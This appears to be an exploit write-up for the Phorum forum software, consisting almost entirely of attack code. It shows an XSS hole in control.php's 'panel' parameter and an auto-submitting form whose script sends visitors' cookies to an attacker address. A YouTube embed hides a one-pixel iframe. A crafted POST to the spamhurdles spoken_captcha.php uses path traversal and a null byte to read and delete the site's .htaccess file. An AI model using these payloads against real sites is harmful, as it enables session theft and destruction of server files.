} elseif(isset($_POST["panel"])){ $panel = $_POST["panel"];
<form method="post" action="http://web/path/control.php"> <input type="text" name="panel" value="Тут XSS" /> <input type="submit" value=" Submit "/> </form>
$PHORUM['DATA']['POST_VARS'].="<input type=\"hidden\" name=\"panel\" value=\"{$panel}\" />\n";
<object width="425" height="344"> <param name="movie" value="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1"> </param> <param name="allowFullScreen" value="true"> </param> <param name="allowscriptaccess" value="always"> </param> <embed src="http://www.youtube.com/v/GIiFGMYpLUc&hl=es&fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="344"> </embed> </object> <br><br><br><br><br><br><br><br> <br><br><br><br><br><br><br><br> <br><br><br><br><br><br><br><br> <br><br> <iframe src="test.html" width="1" height="1" frameborder="0"></iframe>
<form method="post" action="http://forum.ru/control.php"> <input type="hidden" value='"> <script>document.location="http://mi_ip/metopo.json?req=" + document.cookie;</script> <br x="' name="panel"/> <input type="submit" value=" Submit "/> </form> <script>document.getElementsByTagName("form")[0].submit();</script>
/*...*/ global $PHORUM; $conf = $PHORUM["mod_spamhurdles"]; if ($conf["spoken_captcha"] && file_exists($conf["flite_location"]) && isset($PHORUM["SPAMHURDLES"]["captcha"]["spoken_text"])) { /*...*/ $tmpfile = "{$PHORUM["cache"]}/spokencaptcha_{$key}.wav"; /*...*/ if (file_exists($tmpfile) and filesize($tmpfile) > 0) { header("Content-Type: audio/x-wav"); header("Content-Disposition: attachment; filename=captchacode.wav"); header("Content-Length: " . filesize($tmpfile)); readfile($tmpfile); unlink($tmpfile); exit(0); /*...*/
POST http://[host]/[path]/mods/spamhurdles/captcha/spoken_captcha.php HTTP/1.0 Content-type: application/x-www-form-urlencoded PHORUM[mod_spamhurdles][spoken_captcha]=1&PHORUM[mod_spamhurdles][flite_location]=spoken_captcha.php&PHORUM[SPAMHURDLES][captcha][spoken_text]=1&PHORUM[cache]=../../../scripts/.htaccess%00